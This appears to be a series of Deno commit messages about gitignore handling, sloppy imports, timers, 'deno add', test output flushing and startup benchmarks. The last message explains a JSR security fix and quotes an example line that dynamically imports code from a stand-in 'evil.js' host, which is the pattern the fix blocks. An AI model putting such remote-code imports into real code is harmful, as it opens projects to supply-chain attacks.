This is an unrealistic scenario, but it's still a good thing to fix and
have a test for because it probably fixes some other underlying issues
with how the gitignore was being resolved for the root directory.
From https://github.com/denoland/deno/pull/22720#issuecomment-1986134425
Previously the sloppy resolver could not resolve the following:
- foo/bar.ts
- foo.ts
- index.ts
Where `index.ts` contains `import "./foo"`, because it did not consider
`foo.ts` a valid target for this directory import.
This commit fixes this bug.
This is the release commit being forwarded back to main for 1.41.2
Signed-off-by: Divy Srivastava <dj.srivastava23@gmail.com>
Co-authored-by: Divy Srivastava <dj.srivastava23@gmail.com>
This allows explicitly overriding a .gitignore by specifying files and
directories in "include". This does not apply to globs in an include as
files matching those will still be gitignored. Additionally,
individually gitignored files within an included directory will still be
ignored.
1. Stops `deno publish` using some custom include/exclude behaviour from
other sub commands
2. Takes ancestor directories into account when resolving gitignore
3. Backards compatible change that adds ability to unexclude an exclude
by using a negated glob at a more specific level for all sub commands
(see https://github.com/denoland/deno_config/pull/44).
We emitted `import "./` rather than `import "./$NAME"`. This is now
fixed.
Also makes a cosmetic change so that `../` imports are now just imported
as `../`, not `./../`.
An undocumented "DENO_DISABLE_PEDANTIC_NODE_WARNINGS" env
var can be used to silence warnings for sloppy imports and node builtins
without `node:` prefix.
This was showing up on the flamegraph.
```
14:54 $ hyperfine -S none --warmup 25 '/tmp/deno run /tmp/empty.js' 'target/release/deno run /tmp/empty.js'
Benchmark 1: /tmp/deno run /tmp/empty.js
Time (mean ± σ): 17.2 ms ± 4.7 ms [User: 11.2 ms, System: 4.0 ms]
Range (min … max): 15.1 ms … 72.9 ms 172 runs
Warning: Statistical outliers were detected. Consider re-running this benchmark on a quiet system without any interferences from other programs. It might help to use the '--warmup' or '--prepare' options.
Benchmark 2: target/release/deno run /tmp/empty.js
Time (mean ± σ): 16.7 ms ± 1.1 ms [User: 11.1 ms, System: 4.0 ms]
Range (min … max): 15.0 ms … 20.1 ms 189 runs
Summary
'target/release/deno run /tmp/empty.js' ran
1.03 ± 0.29 times faster than '/tmp/deno run /tmp/empty.js'
✔ ~/Documents/github/deno/deno [faster_extract|…5⚑ 23]
```
The diagnostic was incorrect when importing a `.js` file with a
corresponding `.d.ts` file with sloppy imports because it would say to
change the `.js` extension to `.d.ts`, which is incorrect. We might as
well just hide this diagnostic.
Improves #19100
Fixes #20356
Replaces #20428
Changes made in deno_core to support this:
- [x] Errors must be handled in setTimeout callbacks
- [x] Microtask ordering is not-quite-right
- [x] Timer cancellation must be checked right before dispatch
- [x] Timer sanitizer
- [x] Move high-res timer to deno_core
- [x] Timers need opcall tracing
This commit adds "deno add" subcommand that has a basic support for
adding "jsr:" packages to "deno.json" file.
This currently doesn't support "npm:" specifiers and specifying version
constraints.
Some `deno_std` tests were failing to print output that was resolved
after the last test finished. In addition, output printed before tests
began would sometimes appear above the "running X tests ..." line, and
sometimes below it depending on timing.
We now guarantee that all output is flushed before and after tests run,
making the output consistent.
Pre-test and post-test output are captured in `------ pre-test output
------` and `------ post-test output ------` blocks to differentiate
them from the regular output blocks.
Here's an example of a test (that is much noisier than normal, but an
example of what the output will look like):
```
Check ./load_unload.ts
------- pre-test output -------
load
----- output end -----
running 1 test from ./load_unload.ts
test ...
------- output -------
test
----- output end -----
test ... ok ([WILDCARD])
------- post-test output -------
unload
----- output end -----
```
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
